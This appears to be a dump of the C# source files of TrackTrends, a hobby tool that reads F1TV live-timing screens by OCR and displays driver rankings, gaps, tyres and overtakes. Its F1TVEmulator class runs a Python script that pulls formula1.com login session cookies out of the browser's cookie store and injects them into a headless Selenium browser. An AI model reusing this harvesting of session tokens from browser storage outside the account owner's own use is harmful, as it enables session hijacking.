List<(int avg, string driverName)> averages = new List<(int avg, string driverName)>();
foreach (DriverData driver in LiveDriverDataLogs[LiveDriverDataLogs.Count - 1])
{
//We want to recover the last 5 lap times
List<(int lapTime,int lap)> laps = Storage.GetDriverLaptimes(driver.Name,5);
if(laps.Count > 0)
{
int avg = 0;
foreach ((int lapTime, int lap) lap in laps)
{
avg += lap.lapTime;
}
avg = avg / laps.Count;
averages.Add((avg, driver.Name));
}
}
int numberOfDriversToShow = 5;
if (averages.Count > 0 && averages.Count > numberOfDriversToShow)
{
averages = averages.OrderBy(item => item.avg).ToList();
pnlFastest.Controls.Clear();
pnlSlowest.Controls.Clear();
int maxUiSize = pnlFastest.Height / numberOfDriversToShow;
//Displays the fastest drivers
for (int i = 0; i < numberOfDriversToShow; i++)
{
Button newButton = new Button();
(int avg, string driver) data = averages[i];
pnlFastest.Controls.Add(newButton);
newButton.Size = new Size(pnlFastest.Width, maxUiSize);
newButton.Location = new Point(0, i * maxUiSize);
newButton.Text = data.driver;
newButton.FlatStyle = FlatStyle.Popup;
newButton.Name = data.driver + "_fastest_" + i;
newButton.Click += form1.btnDriver_Click;
//We take the average time lost per lap
if (i != 0)
newButton.Text += " + " + Reader.ConvertMsToTime(Convert.ToInt32(((float)data.avg - (float)averages[0].avg) / 5.0f));
}
//Displays the slowests drivers
int badId = 0;
for (int i = averages.Count -1; i >= averages.Count - numberOfDriversToShow; i--)
{
Button newButton = new Button();
(int avg, string driver) data = averages[i];
pnlSlowest.Controls.Add(newButton);
newButton.Size = new Size(pnlFastest.Width, maxUiSize);
newButton.Location = new Point(0, badId * maxUiSize);
newButton.Text = data.driver;
newButton.FlatStyle = FlatStyle.Popup;
newButton.Name = data.driver + "_slowest_" + i;
newButton.Click += form1.btnDriver_Click;
//We take the average time lost per lap
newButton.Text += " + " + Reader.ConvertMsToTime(Convert.ToInt32(((float)data.avg - (float)averages[0].avg) / 5.0f));
badId++;
}
}
}
/// <summary>
/// Will add to the list of overtakes the different changes of position
/// </summary>
/// <param name="lsbResult">The listbox containing all the infos</param>
public void DisplayOvertakes(ListBox lsbResult)
{
//Note : This method SHOULD REALLY not do this but just return a string or a list of string with the new overtakes so the form can handle it as it wishes
if (LiveDriverDataLogs.Count > 1)
{
List<DriverData> oldList = LiveDriverDataLogs[LiveDriverDataLogs.Count - 2];
List<DriverData> newList = LiveDriverDataLogs[LiveDriverDataLogs.Count - 1];
for (int i = 0; i < LiveDriverDataLogs[LiveDriverDataLogs.Count - 1].Count;i++)
{
if (oldList[i].Name != newList[i].Name) {
//There has been a change in the standings
for(int y = 0; y < oldList.Count;y++)
{
if (newList[y].Name == oldList[i].Name)
{
//We found its new location
if (y > i)
{
//The driver overtook someone
lsbResult.Items.Add(newList[y].Name + " climbed to " + y);
}
else
{
//The driver got overtook by someone
lsbResult.Items.Add(newList[y].Name + " fell to " + y);
}
}
}
}
}
}
}
/// <summary>
/// Displays a messageBox containing the infos about a lap time
/// </summary>
/// <param name="driverName">The name of the driver that has done the lapTime</param>
/// <param name="Lap">The number of the lap on wich the lapTime has been set (CAUTION ITS NOT THE RACING LAP ITS FROM THE DB)</param>
/// <param name="LapTime">The time (in ms) of the lap</param>
public void DisplayLapTimeInfos(string driverName, int Lap, string LapTime)
{
List<int> sectors = Storage.GetSectorsFromLapTime(driverName, Lap);
string message = "Lap time infos" + Environment.NewLine;
message += LapTime + Environment.NewLine;
if (sectors.Count > 0)
message += "Sector 1 : " + Reader.ConvertMsToTime(sectors[0]) + Environment.NewLine;
if (sectors.Count > 1)
message += "Sector 2 : " + Reader.ConvertMsToTime(sectors[1]) + Environment.NewLine;
if (sectors.Count > 2)
message += "Sector 3 : " + Reader.ConvertMsToTime(sectors[2]) + Environment.NewLine;
MessageBox.Show(message);
}
/// <summary>
/// Displays the live ranking with the names of the drivers and their gap to the leader in the right order
/// </summary>
/// <param name="pnl">The control that will host all the new controls</param>
/// <param name="form1">The main form</param>
public void DisplayLiveRanking(Panel pnl, Main form1)
{
if (LiveDriverDataLogs.Count > 0)
{
pnl.Controls.Clear();
//Gets the last item that should be the most recent data
List<DriverData> liveData = LiveDriverDataLogs[LiveDriverDataLogs.Count - 1];
Button[] buttons = new Button[liveData.Count];
Size buttonDimensions = new Size(pnl.Width, pnl.Height / liveData.Count);
for (int driverCount = 0; driverCount < liveData.Count; driverCount++)
{
Button newButton = new Button();
newButton.Size = buttonDimensions;
newButton.Location = new Point(0, driverCount * buttonDimensions.Height);
newButton.FlatStyle = FlatStyle.Popup;
DriverData driver = liveData[driverCount];
if (driver.Position == -1)
{
//Its a DNF
newButton.Enabled = false;
}
if (driver.Position > 1)
{
newButton.Text = driver.Name + " +" + Reader.ConvertMsToTime(driver.GapToLeader);
}
else
{
newButton.Text = driver.Name;
}
newButton.Name = liveData[driverCount].Name;
newButton.TextAlign = ContentAlignment.MiddleLeft;
newButton.FlatStyle = FlatStyle.Popup;
newButton.Click += form1.btnDriver_Click;
buttons[driverCount] = newButton;
}
//Note : It could be better to have this directly in the same loop
foreach (Button button in buttons)
{
pnl.Controls.Add(button);
}
}
}
}
}
```
+110
View File
@@ -0,0 +1,110 @@
# DriverData.cs
``` cs
/// Author : Maxime Rohmer
/// Date : 30/05/2023
/// File : DriverData.cs
/// Brief : File containing classes that behave just like structures to store data about drivers
/// Version : Alpha 1.0
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TrackTrends
{
public class DriverData
{
public bool DRS; //True = Drs is opened
public int GapToLeader; //In ms
public int LapTime; //In ms
public string Name; //Ex: LECLERC
public int Position; //Ex: 1
public int Sector1; //in ms
public int Sector2; //in ms
public int Sector3; //in ms
public Tyre CurrentTyre;//Ex Soft 11 laps
public DriverData(bool dRS, int gapToLeader, int lapTime, string name, int position, int sector1, int sector2, int sector3, Tyre tyre)
{
DRS = dRS;
GapToLeader = gapToLeader;
LapTime = lapTime;
Name = name;
Position = position;
Sector1 = sector1;
Sector2 = sector2;
Sector3 = sector3;
CurrentTyre = tyre;
}
/// <summary>
/// Creates a default driver data with empty values
/// </summary>
public DriverData()
{
DRS = false;
GapToLeader = -1;
LapTime = -1;
Name = "Unknown";
Position = -1;
Sector1 = -1;
Sector2 = -1;
Sector3 = -1;
CurrentTyre = new Tyre(Tyre.Type.Undefined, -1);
}
/// <summary>
/// Method that displays all the data found in a string
/// </summary>
/// <returns>string containing all the driver datas</returns>
public override string ToString()
{
string result = "";
//Position
result += "Position : " + Position + Environment.NewLine;
//Gap
result += "GapToLeader : " + Reader.ConvertMsToTime(GapToLeader) + Environment.NewLine;
//LapTime
result += "LapTime : " + Reader.ConvertMsToTime(LapTime) + Environment.NewLine;
//DRS
result += "DRS : " + DRS + Environment.NewLine;
//Tyres
result += "Uses " + CurrentTyre.Coumpound + " tyre " + CurrentTyre.NumberOfLaps + " laps old" + Environment.NewLine;
//Name
result += "DriverName : " + Name + Environment.NewLine;
//Sector 1
result += "Sector1 : " + Reader.ConvertMsToTime(Sector1) + Environment.NewLine;
//Sector 1
result += "Sector2 : " + Reader.ConvertMsToTime(Sector2) + Environment.NewLine;
//Sector 1
result += "Sector3 : " + Reader.ConvertMsToTime(Sector3) + Environment.NewLine;
return result;
}
}
//Structure to store tyres infos
public struct Tyre
{
//If new tyres were to be added you will have to need to change this enum
public enum Type
{
Soft,
Medium,
Hard,
Inter,
Wet,
Undefined
}
public Type Coumpound;
public int NumberOfLaps;
public Tyre(Type type, int laps)
{
Coumpound = type;
NumberOfLaps = laps;
}
}
}
```
+119
View File
@@ -0,0 +1,119 @@
# DriverDrsWindow.cs
``` cs
/// Author : Maxime Rohmer
/// Date : 30/05/2023
/// File : DriverDrsWindow.cs
/// Brief : Window containing DRS related method and infos
/// Version : Alpha 1.0
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Tesseract;
namespace TrackTrends
{
public class DriverDrsWindow:Window
{
private static int EmptyDrsGreenValue = -1;
private static Random rnd = new Random();
public DriverDrsWindow(Bitmap image, Rectangle bounds,bool generateEngine = true) : base(image, bounds,generateEngine)
{
Name = "DRS";
}
/// <summary>
/// Method that will decode the content of the window
/// </summary>
/// <returns>returns a boolean (true = DRS OPEN, false = DRS CLOSED)</returns>
public override object DecodePng()
{
bool result = false;
//DEBUG
//WindowImage.Save("./DRS/"+rnd.Next(0,99999)+".png");
int greenValue = GetGreenPixels();
if (EmptyDrsGreenValue == -1)
EmptyDrsGreenValue = greenValue;
if (greenValue > EmptyDrsGreenValue + EmptyDrsGreenValue / 100 * 30)
result = true;
return result;
}
/// <summary>
/// Method that will get the green pixel proportion in the image, this can be used to determin if the DRS has been actuated
/// </summary>
/// <returns>The number of clearely green pixels</returns>
private unsafe int GetGreenPixels()
{
int tot = 0;
Bitmap bmp = WindowImage;
Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
BitmapData bmpData = bmp.LockBits(rect, ImageLockMode.ReadOnly, bmp.PixelFormat);
int bytesPerPixel = Bitmap.GetPixelFormatSize(bmp.PixelFormat) / 8;
unsafe
{
byte* ptr = (byte*)bmpData.Scan0.ToPointer();
for (int y = 0; y < bmp.Height; y++)
{
byte* currentLine = ptr + (y * bmpData.Stride);
for (int x = 0; x < bmp.Width; x++)
{
byte* pixel = currentLine + (x * bytesPerPixel);
byte blue = pixel[0];
byte green = pixel[1];
byte red = pixel[2];
if (green > blue * 1.5 && green > red * 1.5)
{
tot++;
}
}
}
}
bmp.UnlockBits(bmpData);
return tot;
}
/// <summary>
/// This method is used to lock on where exactly the DRS window is
/// </summary>
/// <returns>Returns a rectangle containing the DRS</returns>
public Rectangle GetBox()
{
var tessImage = Pix.LoadFromMemory(ImageToByte(WindowImage));
Engine.SetVariable("tessedit_char_whitelist", "");
Page page = Engine.Process(tessImage);
using (var iter = page.GetIterator())
{
iter.Begin();
do
{
Rect boundingBox;
// Get the bounding box for the current element
if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
{
page.Dispose();
return new Rectangle(boundingBox.X1, boundingBox.X2, boundingBox.Width, boundingBox.Height);
}
} while (iter.Next(PageIteratorLevel.Word));
page.Dispose();
return new Rectangle(0, 0, 0, 0);
}
}
}
}
```
@@ -0,0 +1,37 @@
# DriverGapToLeaderWindow.cs
``` cs
/// Author : Maxime Rohmer
/// Date : 30/05/2023
/// File : DriverGapToLeaderWindow.cs
/// Brief : Window containing infos about the gap to the leader of a driver
/// Version : Alpha 1.0
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TrackTrends
{
public class DriverGapToLeaderWindow:Window
{
public DriverGapToLeaderWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
{
Name = "GapToLeader";
}
/// <summary>
/// Decodes the gap to leader using Tesseract OCR
/// </summary>
/// <returns>Returns the gap to the leader in miliseconds (int)</returns>
public override object DecodePng()
{
int result = GetTimeFromPng(WindowImage, OcrImage.WindowType.Gap, Engine);
return result;
}
}
}
```
+37
View File
@@ -0,0 +1,37 @@
# DriverLapTimeWindow.cs
``` cs
/// Author : Maxime Rohmer
/// Date : 30/05/2023
/// File : DriverLapTimeWindow
/// Brief : Window containing infos about the lap time of a driver
/// Version : Alpha 1.0
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Drawing;
namespace TrackTrends
{
public class DriverLapTimeWindow:Window
{
public DriverLapTimeWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
{
Name = "LapTime";
}
/// <summary>
/// Decodes the lap time contained in the image using OCR Tesseract
/// </summary>
/// <returns>The laptime in int (ms)</returns>
public override object DecodePng()
{
int result = GetTimeFromPng(WindowImage, OcrImage.WindowType.LapTime, Engine);
return result;
}
}
}
```
+62
View File
@@ -0,0 +1,62 @@
# DriverNameWindow.cs
``` cs
/// Author : Maxime Rohmer
/// Date : 30/05/2023
/// File : DriverNameWindow
/// Brief : Window containing infos about the name of the driver
/// Version : Alpha 1.0
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Drawing;
namespace TrackTrends
{
public class DriverNameWindow : Window
{
public DriverNameWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
{
Name = "Name";
}
/// <summary>
/// Decodes using OCR wich driver name is in the image
/// </summary>
/// <param name="DriverList">A list of all the names that can be on the image</param>
/// <returns>a string representing the found driver name. It will be one of the ones given in the list</returns>
public override object DecodePng(List<string> DriverList)
{
string result = "";
result = GetStringFromPng(WindowImage, Engine);
if (!IsADriver(DriverList, result))
{
//I put everything in uppercase to try to lower the chances of bad answers
result = FindClosestMatch(DriverList.ConvertAll(d => d.ToUpper()), result.ToUpper());
}
return result;
}
/// <summary>
/// Verifies that the name found in the OCR is a valid name
/// </summary>
/// <param name="driverList">The list of all the drivers name that can be found in the image</param>
/// <param name="potentialDriver">The driver you want to be sure if it exists or not</param>
/// <returns>If ye or no the driver exists</returns>
private static bool IsADriver(List<string> driverList, string potentialDriver)
{
bool result = false;
//I cant use drivers.Contains because it has missmatched cases and all
foreach (string name in driverList)
{
if (name.ToUpper() == potentialDriver.ToUpper())
result = true;
}
return result;
}
}
}
```
+47
View File
@@ -0,0 +1,47 @@
# DriverPositionWindow.cs
``` cs
/// Author : Maxime Rohmer
/// Date : 30/05/2023
/// File : DriverPositionWindow.cs
/// Brief : Window containing infos about the position of a driver.
/// Version : Alpha 1.0
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Drawing;
namespace TrackTrends
{
public class DriverPositionWindow:Window
{
public DriverPositionWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
{
Name = "Position";
}
/// <summary>
/// Decodes the position number using Tesseract OCR
/// </summary>
/// <returns>An int representing the position of the driver (should be between 1 and 20 included)</returns>
public override object DecodePng()
{
string ocrResult = GetStringFromPng(WindowImage, Engine, "0123456789");
int position;
try
{
position = Convert.ToInt32(ocrResult);
}
catch
{
position = -1;
}
return position;
}
}
}
```
+37
View File
@@ -0,0 +1,37 @@
# DriverSectorWindow.cs
``` cs
/// Author : Maxime Rohmer
/// Date : 30/05/2023
/// File : DriverSectorWindow.cs
/// Brief : Window containing infos about a driver sector time. Can be the first second or third, does not matter.
/// Version : Alpha 1.0
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Drawing;
namespace TrackTrends
{
public class DriverSectorWindow:Window
{
public DriverSectorWindow(Bitmap image, Rectangle bounds, int sectorId, bool generateEngine = true) : base(image, bounds,generateEngine)
{
Name = "Sector"+sectorId;
}
/// <summary>
/// Decodes the sector
/// </summary>
/// <returns>the sector time in int (ms)</returns>
public override object DecodePng()
{
int ocrResult = GetTimeFromPng(WindowImage, OcrImage.WindowType.Sector, Engine);
return ocrResult;
}
}
}
```
+151
View File
@@ -0,0 +1,151 @@
# DriverTyresWindow.cs
``` cs
/// Author : Maxime Rohmer
/// Date : 30/05/2023
/// File : DriverTyresWindow.cs
/// Brief : Window containing infos about a driver's tyre
/// Version : Alpha 1.0
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Drawing;
namespace TrackTrends
{
public class DriverTyresWindow:Window
{
private static Random rnd = new Random();
//Those are the colors I found but you can change them if they change in the future like in 2019
public static Color SOFT_TYRE_COLOR = Color.FromArgb(0xff, 0x00, 0x00);
public static Color MEDIUM_TYRE_COLOR = Color.FromArgb(0xf5, 0xbf, 0x00);
public static Color HARD_TYRE_COLOR = Color.FromArgb(0xa4, 0xa5, 0xa8);
public static Color INTER_TYRE_COLOR = Color.FromArgb(0x00, 0xa4, 0x2e);
public static Color WET_TYRE_COLOR = Color.FromArgb(0x27, 0x60, 0xa6);
public static Color EMPTY_COLOR = Color.FromArgb(0x20, 0x20, 0x20);
public DriverTyresWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
{
Name = "Tyres";
}
/// <summary>
/// This will decode the content of the image
/// </summary>
/// <returns>And object containing what was on the image</returns>
public override object DecodePng()
{
return GetTyreInfos();
}
/// <summary>
/// Method that will decode whats on the image and return the tyre infos it could manage to recover
/// </summary>
/// <returns>A tyre object containing tyre infos</returns>
private Tyre GetTyreInfos()
{
//DEBUG
//WindowImage.Save("./Tyre/raw_"+rnd.Next(0,99999)+".png");
Bitmap tyreZone = GetSmallBitmapFromBigOne(WindowImage, FindTyreZone());
Tyre.Type type = Tyre.Type.Undefined;
type = GetTyreTypeFromColor(OcrImage.GetAvgColorFromBitmap(tyreZone));
int laps = -1;
string number = GetStringFromPng(tyreZone, Engine, "0123456789", OcrImage.WindowType.Tyre);
try
{
laps = Convert.ToInt32(number);
}
catch
{
//We could not convert the number so its a letter so its 0 laps old
laps = 0;
}
//71 is the most laps an f1 race is ever going to have (mexico) so any more would be considered as bad (and remember you cant go trough a full race without making at least one pitstop)
if (laps > 75)
laps = 0;
return new Tyre(type, laps);
}
/// <summary>
/// Finds where the important part of the image is
/// </summary>
/// <returns>A rectangle containing position and dimensions of the important part of the image</returns>
private Rectangle FindTyreZone()
{
Bitmap bmp = WindowImage;
int currentPosition = bmp.Width;
int height = bmp.Height / 2;
Color limitColor = Color.FromArgb(0x50, 0x50, 0x50);
Color currentColor = Color.FromArgb(0, 0, 0);
//25F
Size newWindowSize = new Size(bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 25f), bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 35f));
while (currentColor.R <= limitColor.R && currentColor.G <= limitColor.G && currentColor.B <= limitColor.B && currentPosition > 0)
{
currentPosition--;
currentColor = bmp.GetPixel(currentPosition, height);
}
//Its here to let the new window include a little bit of the right
int CorrectedX = currentPosition - (newWindowSize.Width) + Convert.ToInt32((float)newWindowSize.Width / 100f * 10f);
int CorrectedY = Convert.ToInt32((float)newWindowSize.Height / 100f * 35f);
if (CorrectedX <= 0)
return new Rectangle(0, 0, newWindowSize.Width, newWindowSize.Height);
return new Rectangle(CorrectedX, CorrectedY, newWindowSize.Width, newWindowSize.Height);
}
//This method has been created with the help of chatGPT
/// <summary>
/// Methods that compares a list of colors to see wich is the closest from the input color and decide wich tyre type it is
/// </summary>
/// <param name="inputColor">The color that you found</param>
/// <returns>The tyre type</returns>
public Tyre.Type GetTyreTypeFromColor(Color inputColor)
{
Tyre.Type type = Tyre.Type.Undefined;
List<Color> colors = new List<Color>();
//dont forget that if for some reason someday F1 adds a new Tyre type you will need to add it in the constants but also here in the list
//You will also need to add it below in the Tyre object's enum and add an if in the end of this method
colors.Add(SOFT_TYRE_COLOR);
colors.Add(MEDIUM_TYRE_COLOR);
colors.Add(HARD_TYRE_COLOR);
colors.Add(INTER_TYRE_COLOR);
colors.Add(WET_TYRE_COLOR);
colors.Add(EMPTY_COLOR);
Color closestColor = colors[0];
int closestDistance = int.MaxValue;
foreach (Color color in colors)
{
int distance = Math.Abs(color.R - inputColor.R) + Math.Abs(color.G - inputColor.G) + Math.Abs(color.B - inputColor.B);
if (distance < closestDistance)
{
closestColor = color;
closestDistance = distance;
}
}
//We cant use a switch as the colors cant be constants ...
if (closestColor == SOFT_TYRE_COLOR)
type = Tyre.Type.Soft;
if (closestColor == MEDIUM_TYRE_COLOR)
type = Tyre.Type.Medium;
if (closestColor == HARD_TYRE_COLOR)
type = Tyre.Type.Hard;
if (closestColor == INTER_TYRE_COLOR)
type = Tyre.Type.Inter;
if (closestColor == WET_TYRE_COLOR)
type = Tyre.Type.Wet;
if (closestColor == EMPTY_COLOR)
return Tyre.Type.Undefined;
return type;
}
}
}
```
+334
View File
@@ -0,0 +1,334 @@
# F1TVEmulator.cs
``` cs
/// Author : Maxime Rohmer
/// Date : 30/05/2023
/// File : F1TVEmulator.cs
/// Brief : Class that contains methods to emulate a browser and navigate the F1TV website
/// Version : Alpha 1.0
using OpenQA.Selenium;
using OpenQA.Selenium.Firefox;
using OpenQA.Selenium.Interactions;
using OpenQA.Selenium.Support.UI;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace TrackTrends
{
internal class F1TVEmulator
{
public const string COOKIE_HOST = ".formula1.com";
public const string PYTHON_COOKIE_RETRIEVAL_FILENAME = "recoverCookiesCSV.py";
public const string GECKODRIVER_FILENAME = @"geckodriver-v0.27.0-win64\geckodriver.exe";
//BE CAREFULL IF YOU CHANGE IT HERE YOU NEED TO CHANGE IT IN THE PYTHON SCRIPT TOO
public const string COOKIES_CSV_FILENAME = "cookies.csv";
private FirefoxDriver Driver;
private bool _ready;
private string _grandPrixUrl;
public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; }
public bool Ready { get => _ready; set => _ready = value; }
public F1TVEmulator(string grandPrixUrl)
{
GrandPrixUrl = grandPrixUrl;
Ready = false;
}
/// <summary>
/// Will start the python programm that runs the Cookie Recovering
/// </summary>
private void StartCookieRecovering()
{
string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME;
Process process = new Process();
process.StartInfo.FileName = "python.exe";
process.StartInfo.Arguments = scriptPath;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
string output = process.StandardOutput.ReadToEnd();
process.WaitForExit();
}
/// <summary>
/// Method that will recover the needed cookies in the DB
/// </summary>
/// <param name="host"> The host of the wanted cookie ex: ./formula1.com</param>
/// <param name="name">The name of the wanted cookie ex: login</param>
/// <returns>returns the value of the cookie if it has been found</returns>
/// <exception cref="InvalidOperationException"></exception>
public string GetCookie(string host, string name)
{
StartCookieRecovering();
string value = "";
List<Cookie> cookies = new List<Cookie>();
if (File.Exists(COOKIES_CSV_FILENAME))
{
using (var reader = new StreamReader(COOKIES_CSV_FILENAME))
{
// Read the header row and validate column order
string header = reader.ReadLine();
string[] expectedColumns = { "host_key", "name", "value", "path", "expires_utc", "is_secure", "is_httponly" };
string[] actualColumns = header.Split(',');
for (int i = 0; i < expectedColumns.Length; i++)
{
if (expectedColumns[i] != actualColumns[i])
{
throw new InvalidOperationException($"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'");
}
}
// Read each data row and parse values into a Cookie object
while (!reader.EndOfStream)
{
string line = reader.ReadLine();
string[] fields = line.Split(',');
string hostname = fields[0];
string cookieName = fields[1];
if (hostname == host && cookieName == name)
{
value = fields[2];
}
}
}
}
return value;
}
/// <summary>
/// Starts the headless browser
/// </summary>
/// <returns>Error code 1xx</returns>
public async Task<int> Start()
{
Ready = false;
string loginCookieName = "login";
string loginSessionCookieName = "login-session";
string loginCookieValue = GetCookie(COOKIE_HOST, loginCookieName);
string loginSessionValue = GetCookie(COOKIE_HOST, loginSessionCookieName);
//Cookie retreival has gone wrong (usually its because of python not being installed properly)
if (loginCookieValue == "" || loginSessionValue == "")
return 100;
var service = FirefoxDriverService.CreateDefaultService(GECKODRIVER_FILENAME);
service.Host = "127.0.0.1";
service.Port = 5555;
FirefoxProfile profile = new FirefoxProfile();
FirefoxOptions options = new FirefoxOptions();
//profile.SetPreference("full-screen-api.ignore-widgets", true);
//profile.SetPreference("media.hardware-video-decoding.enabled", true);
//profile.SetPreference("full-screen-api.enabled", true);
options.Profile = profile;
profile.SetPreference("layout.css.devPixelsPerPx", "1.0");
options.AcceptInsecureCertificates = true;
options.AddArgument("--headless");
//options.AddArgument("--start-maximized");
//options.AddArgument("--window-size=1920x1080");
//options.AddArgument("--width=" + windowWidth);
//options.AddArgument("--height=" + windowHeight);
//options.AddArgument("-window-size=1920x1080");
//options.AddArgument("--width=1920");
//options.AddArgument("--height=1080");
//profile
try
{
Driver = new FirefoxDriver(service, options);
}
catch
{
Ready = false;
return 101;
}
Actions actions = new Actions(Driver);
var loginCookie = new Cookie(loginCookieName, loginCookieValue, COOKIE_HOST, "/", DateTime.Now.AddDays(5));
var loginSessionCookie = new Cookie(loginSessionCookieName, loginSessionValue, COOKIE_HOST, "/", DateTime.Now.AddDays(5));
Driver.Navigate().GoToUrl("https://f1tv.formula1.com/");
Driver.Manage().Cookies.AddCookie(loginCookie);
Driver.Manage().Cookies.AddCookie(loginSessionCookie);
try
{
Driver.Navigate().GoToUrl(GrandPrixUrl);
}
catch
{
//The url is not a valid url
Driver.Dispose();
return 103;
}
//Waits for the page to fully load
Driver.Manage().Timeouts().PageLoad = TimeSpan.FromSeconds(30);
//Removes the cookie prompt
try
{
IWebElement conscentButton = Driver.FindElement(By.Id("truste-consent-button"));
conscentButton.Click();
}
catch
{
//Could not locate the cookie button
Screenshot("ERROR104");
Driver.Dispose();
return 104;
}
//Again waits for the page to fully load (when you accept cookies it takes a little time for the page to load)
//Cannot use The timeout because the feed loading is not really loading so there is not event or anything
Thread.Sleep(5000);
//Switches to the Data channel
try
{
IWebElement dataChannelButton = Driver.FindElement(By.ClassName("data-button"));
dataChannelButton.Click();
}
catch
{
//If the data button does not exists its because the user is not connected
Screenshot("ERROR102");
Driver.Dispose();
return 102;
}
//Open settings
// Press the space key, this should make the setting button visible
// It does not matter if the feed is paused because when changing channel it autoplays
actions.SendKeys(OpenQA.Selenium.Keys.Space).Perform();
//Clicks on the settings Icon
int settingsClickTries = 0;
bool settingsClickSuccess = false;
while (settingsClickTries < 100 && !settingsClickSuccess)
{
Thread.Sleep(100);
try
{
IWebElement settingsButton = Driver.FindElement(By.ClassName("bmpui-ui-settingstogglebutton"));
settingsButton.Click();
IWebElement selectElement = Driver.FindElement(By.ClassName("bmpui-ui-videoqualityselectbox"));
SelectElement select = new SelectElement(selectElement);
IWebElement selectOption = selectElement.FindElement(By.CssSelector("option[value^='1080_']"));
selectOption.Click();
settingsClickSuccess = true;
}
catch
{
//Sometimes it can crash because it could not get the options to show up in time. When it happens just retry
settingsClickSuccess = false;
settingsClickTries++;
}
}
if (!settingsClickSuccess)
{
Screenshot("ERROR105");
Driver.Dispose();
return 105;
}
Screenshot("BEFOREFULLSCREEN");
//Makes the feed fullscreen
int fullScreenClickTries = 0;
bool fullScreenClickSuccess = false;
Driver.Manage().Window.Maximize();
//WebDriverWait wait = new WebDriverWait(Driver, TimeSpan.FromSeconds(10));
while (fullScreenClickTries < 100 && !fullScreenClickSuccess)
{
Thread.Sleep(150);
try
{
IWebElement fullScreenButton = Driver.FindElement(By.ClassName("bmpui-ui-fullscreentogglebutton"));
fullScreenButton.Click();
fullScreenClickSuccess = true;
}
catch
{
fullScreenClickSuccess = false;
fullScreenClickTries++;
}
}
if (!fullScreenClickSuccess)
{
Screenshot("ERROR106");
Driver.Dispose();
return 106;
}
Screenshot("AFTERFULLSCREEN");
//STARTUP FINISHED READY TO SCREENSHOT
Ready = true;
return 0;
}
/// <summary>
/// Takes a screenshot of what the headless browser is displaying
/// </summary>
/// <param name="name">Optional ! The name of the picture so it can be saved</param>
/// <returns>Returns the screenshot in the bitmap format</returns>
public Bitmap Screenshot(string name = "TEST")
{
Bitmap result = new Bitmap(4242, 6969);
try
{
//Screenshot scrsht = ((ITakesScreenshot)Driver).GetScreenshot();
//profileriver.SetPreferencC:\Users\Moi\source\repos\Test_Merge\README.mde("layout.css.devPixelsPerPx", "1.0");
//Screenshot scrsht = Driver.GetFullPageScreenshot();
Screenshot scrsht = Driver.GetScreenshot();
byte[] screenshotBytes = Convert.FromBase64String(scrsht.AsBase64EncodedString);
MemoryStream stream = new MemoryStream(screenshotBytes);
result = new Bitmap(stream);
//result.Save(name + ".png");
scrsht.SaveAsFile(name + ".png");
}
catch
{
//Nothing for now
}
return result;
}
/// <summary>
/// Stops the Emulation. Note: if you plan to start it again please use ResetDriver() instead
/// </summary>
public void Stop()
{
Ready = false;
if (Driver != null)
Driver.Dispose();
}
/// <summary>
/// Resets the emulation
/// </summary>
public void ResetDriver()
{
Ready = false;
if (Driver != null)
Driver.Dispose();
Driver = null;
}
}
}
```
+427
View File
@@ -0,0 +1,427 @@
# Form1.cs
``` cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
namespace TrackTrends
{
public partial class Main : Form
{
//private Reader Reader = null;
private F1TVEmulator Emulator = null;
private DataWrapper Wrapper = null;
private bool cancelRequested = false;
private SemaphoreSlim semaphore = new SemaphoreSlim(1);
string ConfigFile = "";
string GpUrl = "";
//For the responsive content
Size oldSize = new Size();
Size oldRankingSize = new Size();
Size oldLapTimesSize = new Size();
Size oldBattles = new Size();
Size oldPnlBattles = new Size();
Size oldPnlRankings = new Size();
Size oldPnlFastest = new Size();
Size oldPnlSlowest = new Size();
Point oldRankingPosition = new Point();
Point oldBattlePosition = new Point();
Point oldDriverInfoPosition = new Point();
Point olPnlFastestPosition = new Point();
Point oldPnlSlowestPosition = new Point();
public Main()
{
InitializeComponent();
}
public async void RefreshUI()
{
if (Directory.Exists(ConfigurationTool.CONFIGS_FOLDER_NAME))
{
lsbPresets.DataSource = null;
lsbPresets.DataSource = Directory.GetFiles(ConfigurationTool.CONFIGS_FOLDER_NAME);
}
}
private async void btnSettings_Click(object sender, EventArgs e)
{
if (Emulator != null)
Emulator.ResetDriver();
btnStartDecoding.Enabled = false;
btnStopUpdating.Enabled = false;
btnResetEmulator.Text = "Launch";
Emulator = null;
Wrapper = null;
GC.Collect();
Settings settingsForm = new Settings();
settingsForm.ShowDialog();
RefreshUI();
